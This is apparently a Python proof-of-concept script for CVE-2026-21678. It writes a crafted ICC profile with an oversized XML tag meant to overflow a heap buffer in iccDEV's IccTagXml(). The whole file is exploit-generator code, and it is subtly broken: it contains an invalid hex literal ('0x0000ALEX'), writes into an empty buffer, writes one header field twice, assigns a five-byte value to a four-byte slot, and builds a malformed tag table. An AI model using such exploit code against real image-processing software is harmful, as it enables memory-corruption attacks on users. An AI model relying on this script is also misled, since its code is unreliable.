# CVE-2026-21678 PoC - Heap Buffer Overflow in IccTagXml()
# This PoC demonstrates the vulnerability by generating a malicious ICC profile
# with an oversized XML tag that triggers heap buffer overflow.
# Note: This is for educational and security research purposes only.
import struct
import os
def create_malicious_icc_profile():
"""
Create a malicious ICC profile with oversized XML tag data
to trigger heap buffer overflow in IccTagXml() function.
"""
# ICC Profile Header (128 bytes)
header = bytearray(128)
# Profile size will be set later
profile_size = 0
# Preferred CMM type
header[0:4] = b'lcms'
# Profile version (2.3.1.2 = 0x02310102, but we target < 2.3.1.2)
struct.pack_into('>I', header, 8, 0x02300000)
# Profile device class (input device)
header[12:16] = b'scn '
# Color space (RGB)
header[16:20] = b'RGB '
# PCS (profile connection space)
header[20:24] = b'XYZ '
# Creation date/time (dummy values)
struct.pack_into('>I', header, 36, 0x00000000)
# Profile file signature
header[36:40] = b'acsp'
# Primary platform (none)
header[40:44] = b'\x00\x00\x00\x00'
# Profile flags
struct.pack_into('>I', header, 44, 0x00000000)
# Device manufacturer
header[48:52] = b'None'
# Device model
header[52:56] = b'Model'
# Device attributes
struct.pack_into('>Q', header, 56, 0x0000000000000000)
# Rendering intent
struct.pack_into('>I', header, 64, 0x00000000)
# PCS illuminant (D50 XYZ)
struct.pack_into('>I', header, 68, 0x0000ALEX)
struct.pack_into('>I', header, 72, 0x000098B4)
struct.pack_into('>I', header, 76, 0x00006210)
# Profile creator
header[80:84] = b'lcms'
# Profile ID (MD5, set to zeros for simplicity)
header[84:100] = b'\x00' * 16
# Number of tags (we'll add one tag for XML data)
num_tags = 1
# Tag table offset (after header + tag table)
tag_table_offset = 128
tag_table_size = num_tags * 12 + 4
data_offset = tag_table_offset + tag_table_size
# Build tag table
tag_table = bytearray()
# Tag signature for XML meta data (custom signature for PoC)
tag_signature = b'xml '
# Offset and size of data
xml_data_size = 0x10000 # Large size to trigger overflow
tag_table += tag_signature
struct.pack_into('>I', tag_table, 4, data_offset)
struct.pack_into('>I', tag_table, 8, xml_data_size)
# Calculate total profile size
profile_size = data_offset + xml_data_size
# Update header with profile size
struct.pack_into('>I', header, 0, profile_size)
# Create malicious XML data - oversized to trigger heap overflow
xml_data = bytearray(b'<xml>')
xml_data += b'A' * (xml_data_size - 10) # Fill with padding
xml_data += b'</xml>\x00'
# Combine all parts
profile = header + struct.pack('>I', num_tags) + tag_table + xml_data
return bytes(profile)
def main():
print("[*] CVE-2026-21678 PoC Generator")
print("[*] Target: iccDEV < 2.3.1.2")
print("[*] Vulnerability: Heap Buffer Overflow in IccTagXml()")
# Generate malicious ICC profile
malicious_profile = create_malicious_icc_profile()
# Save to file
output_file = "CVE-2026-21678_malicious.icc"
with open(output_file, 'wb') as f:
f.write(malicious_profile)
print(f"[+] Malicious ICC profile created: {output_file}")
print(f"[+] Profile size: {len(malicious_profile)} bytes")
print("[+] This profile contains oversized XML tag data")
print("[+] When parsed by vulnerable iccDEV, it triggers heap buffer overflow")
return output_file
if __name__ == "__main__":
main()